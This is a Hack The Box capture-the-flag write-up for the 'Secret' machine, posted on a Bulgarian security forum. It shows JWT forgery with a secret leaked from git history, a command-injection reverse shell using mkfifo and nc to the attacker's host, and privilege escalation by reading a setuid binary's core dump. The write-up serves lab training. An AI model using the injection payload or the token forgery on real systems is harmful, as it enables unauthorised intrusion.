Преминете към съдържанието

МЕУ организира кампания за пентестове в държавната администрация

Целта на кампанията е да подобри киберсигурността в държавната администрация, като участието в нея е доброволно и не се обвързва с възнаграждение.
Прочети повече за програмата

Добре дошли в Хакинг.БГ! 

Всеки един от нас стои на раменете на гигантите, споделили знанията и опита си с нас.

Този форум е нашият начин да върнем жеста за бъдещите и текущите кадри в киберсигурността.

Стремим се да предоставим платформа, където членовете могат да развиват своите умения, като се дава приоритет на етиката, сигурността и поверителността!

  • HTB - WriteUps

Secret


h3xu

210 views

# Enumeration
#### Nmap
3 ports, 2 of which are http service that we have to check on our browser.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

#### Port 80
We see it is a website that contains a tutorial on how to register a user, login as user and basically operate the API.

#### Port 3000
Same as port 80 

#### Dirbuster
We have found a zip file. Usually, open source projects contain the files they are comprised of.
![[HackTheBox Notes/Linux/Secret/dirbuster.PNG]]#### Files.zip Analysis
We find .git which should contain commits and files that could contain interesting info.

┌──(root💀kali)-[~/Downloads/local-web]
└─# ls -la                                    
total 116
drwxr-xr-x   8 root root  4096 Sep  3 01:57 .
drwxr-xr-x   5 root root  4096 Nov 11 08:41 ..
-rw-r--r--   1 root root    72 Sep  3 01:59 .env
drwxr-xr-x   8 root root  4096 Sep  8 14:33 .git
-rw-r--r--   1 root root   885 Sep  3 01:56 index.js
drwxr-xr-x   2 root root  4096 Aug 13 00:42 model
drwxr-xr-x 201 root root  4096 Aug 13 00:42 node_modules
-rw-r--r--   1 root root   491 Aug 13 00:42 package.json
-rw-r--r--   1 root root 69452 Aug 13 00:42 package-lock.json
drwxr-xr-x   4 root root  4096 Sep  3 01:54 public
drwxr-xr-x   2 root root  4096 Sep  3 02:32 routes
drwxr-xr-x   4 root root  4096 Aug 13 00:42 src
-rw-r--r--   1 root root   651 Aug 13 00:42 validations.js

                                                                                                                   
┌──(root💀kali)-[~/Downloads/local-web]
└─# cd .git
                                                                                                                     
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# ls    
branches  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs
                                                                                                                     
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# cd logs     
                                                                                                                     
┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# ls
HEAD  refs
                                                                                                                     
┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# cat HEAD   
0000000000000000000000000000000000000000 55fe756a29268f9b4e786ae468952ca4a8df1bd8 dasithsv <[email protected]> 1630648552 +0530     commit (initial): first commit
55fe756a29268f9b4e786ae468952ca4a8df1bd8 3a367e735ee76569664bf7754eaaade7c735d702 dasithsv <[email protected]> 1630648599 +0530     commit: added downloads
3a367e735ee76569664bf7754eaaade7c735d702 4e5547295cfe456d8ca7005cb823e1101fd1f9cb dasithsv <[email protected]> 1630648655 +0530     commit: removed swap
4e5547295cfe456d8ca7005cb823e1101fd1f9cb de0a46b5107a2f4d26e348303e76d85ae4870934 dasithsv <[email protected]> 1630648759 +0530     commit: added /downloads
de0a46b5107a2f4d26e348303e76d85ae4870934 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 dasithsv <[email protected]> 1630648817 +0530     commit: removed .env for security reasons
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 e297a2797a5f62b6011654cf6fb6ccb6712d2d5b dasithsv <[email protected]> 1631126007 +0530     commit: now we can view logs from server 😃

At this point I have decided to look for a clue in google what to do with the .git and found that there are GitTools on github that we could use to dump data from it.
 

┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ls
extractor.sh  README.md
                                                                                                                     
┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ./extractor.sh ~/Downloads/local-web dump
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########

At this point I did not know what to do with the dump. So I decided to proceed with the instructions given on the secret.htb website. 

#### Create a new user and login

Looking back at the website there is a section to register user:

We can try to register one:

Unsuccessful, it requires us a name even though it was supplied... I realised I was missing Content-Type information in the POST request body.
Now I need to fix the error by making the name longer.

Nice, we registered a usr successfully. Now we could try to login. From the website, the instructions are the following:

We got a JWT token after we logged-in. We can decode the token and analyze the contents.

I thought a bit and decided to look through the dump for a "token" and "admin". I found that there is a user called "theadmin" and a JWT token.
 

┌──(root💀kali)-[/opt/GitTools/Extractor/dump]
└─# grep -IR "admin"
<deleted>
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js:    if (name == 'theadmin') {
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js:                role: "you are admin",
<deleted>

#grep -IR "TOKEN"

3-de0a46b5107a2f4d26e348303e76d85ae4870934/.env:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

In jwt.io we can edit the JWT token we got from the response message:
1. Paste the original token we got after we logged in.
![[jwt edit.PNG]]


2. Edit the name variable to be "theadmin" and within "VERIFY SIGNATURE" paste the JWT token we got from the TOKEN_SECRET.
![[jwt  edit 1x.PNG]]

Now copy the Encoded JWT token


# Reverse Shell
From previous enumeration, the creator hinted us about the .env being removed for security reasons. Additionally, the creator talks about the ability to get logs from the system. In private.js file it is said that we have to specify file name as the get parameter with the name file.

┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# curl 'http://10.10.11.120:3000/api/logs?file=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.7+1234+>/tmp/f' -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNDMxMmZjMzIwNDA0NTlkNWUzMmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAYS5hZyIsImlhdCI6MTYzNjcxMzQ4OX0.d1oGnqiO62eT9DE79I9A0BsgBjM_eav6y-79Uzuxcio"
^[[3~curl: (52) Empty reply from server


 

┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# nc -nvlp 1234                                                                              1 ⨯
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.120] 33086
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dasith

# Privilege Escalation

Shell stabilisation
 

$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 6: python: not found
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
dasith@secret:~/local-web$ export TERM=xterm
export TERM=xterm
dasith@secret:~/local-web$ ^Z
zsh: suspended  nc -nvlp 1234
                                                                                                                                                                        
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# stty raw -echo; fg                                                                                                                                        148 ⨯ 1 ⚙
[1]  + continued  nc -nvlp 1234

Look for setuid files. We find a file called "count". I recognise that this file is not a system one but a user file, so I have to investigate it.
 

dasith@secret:~/local-web$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
dasith@secret:~/local-web$ cd /opt/
dasith@secret:/opt$ ls
code.c  count  valgrind.log
dasith@secret:/opt$ file count
count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped

We see it is a binary file. I would use strings to analyse the contents of the binary:

dasith@secret:/opt$ strings count 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Unable to open directory.
??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name: 
%99s
Save results a file? [y/N]: 
Path: 
Could not open %s for writing
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
code.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__stat
putchar@@GLIBC_2.2.5
strncpy@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
_edata
fclose@@GLIBC_2.2.5
opendir@@GLIBC_2.2.5
strlen@@GLIBC_2.2.5
__lxstat@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.2.5
snprintf@@GLIBC_2.2.5
fputs@@GLIBC_2.2.5
strncat@@GLIBC_2.2.5
fgetc@@GLIBC_2.2.5
closedir@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
getchar@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
prctl@@GLIBC_2.2.5
__xstat@@GLIBC_2.2.5
readdir@@GLIBC_2.2.5
__libc_csu_init
__bss_start
main
__lstat
fopen@@GLIBC_2.2.5
__isoc99_scanf@@GLIBC_2.7
dircount
exit@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
filecount
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment


We notice that it uses a couple of other files within the code. But I need a better view of the code:
 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}

void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

At this point I was quite stuck. Could not figure it out but got a nudge by a fellow hacker and was told to look for something that is "dumpable". So I did and found the following line within the code: ```prctl(PR_SET_DUMPABLE, 1);```

https://man7.org/linux/man-pages/man2/prctl.2.html
- According to the man page of prctl PR_SET_DUMPABLE when the state is set, it produces a core dump under specific conditions. 
A quick google search leads me to a stackoverflow post where the person explains that a core dump could be generated by an error. So I thought about crashing the process and analysing the core dump file. For the purpose, I first created a 2nd reverse shell from which I will initiate a kill command.

![[core dump.PNG]]

This thread explained me how I can read a crash file:
https://askubuntu.com/questions/434431/how-can-i-read-a-crash-file-from-var-crash
 

dasith@secret:/opt$  cd /var/crash
dasith@secret:/var/crash$ ll
total 88
drwxrwxrwt  2 root   root    4096 Nov 12 13:44 ./
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ../
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28108 Nov 12 13:44 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /tmp/crashdump
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crashdump/
dasith@secret:/var/crash$ cd /tmp/crashdump/
dasith@secret:/tmp/crashdump$ ls
Architecture  DistroRelease        ProblemType  ProcEnviron  Signal
CoreDump      ExecutablePath       ProcCmdline  ProcMaps     Uname
Date          ExecutableTimestamp  ProcCwd      ProcStatus   UserGroups

Analysing the CoreDump file:

dasith@secret:/tmp/crashdump$ strings CoreDump 
CORE
CORE
count
./count -p 
IGISCORE
CORE
ELIFCORE
/opt/count
/opt/count
/opt/count
/opt/count
/opt/count
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
CORE
////////////////
Path: 
Could
LINUX
////////////////
Path: 
Could
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Unable to open directory.
??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name: 
%99s
Save results a file? [y/N]: 
Path: 
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: words      = 2
Total lines      = 2
oot/root.txt
<edited>c0572f41284ab<edited>
aliases
ethers
group

It seems, we have the root.txt file contents.

0 Comments


Recommended Comments

Няма коментари

HACKING.BG Партньори

Asset3.png.df693f7661f6e8a7a3ec208659eda80b.pngtransparent1.png.c15979e1dc997cdd3a9941e342368a9b.png2.png.3e2592eadc660ecc831f1fdd569e8eb4.png600_489534840.png.72981fb02b90f1986dd7ade4d561e6d0.pngcyberclub-logo-text.png.6e9d11752e2eade43d40337d83365e48.png

×
×
  • Създай ново...

Важна информация!

Политика за сигурност и условия на ползване Privacy Policy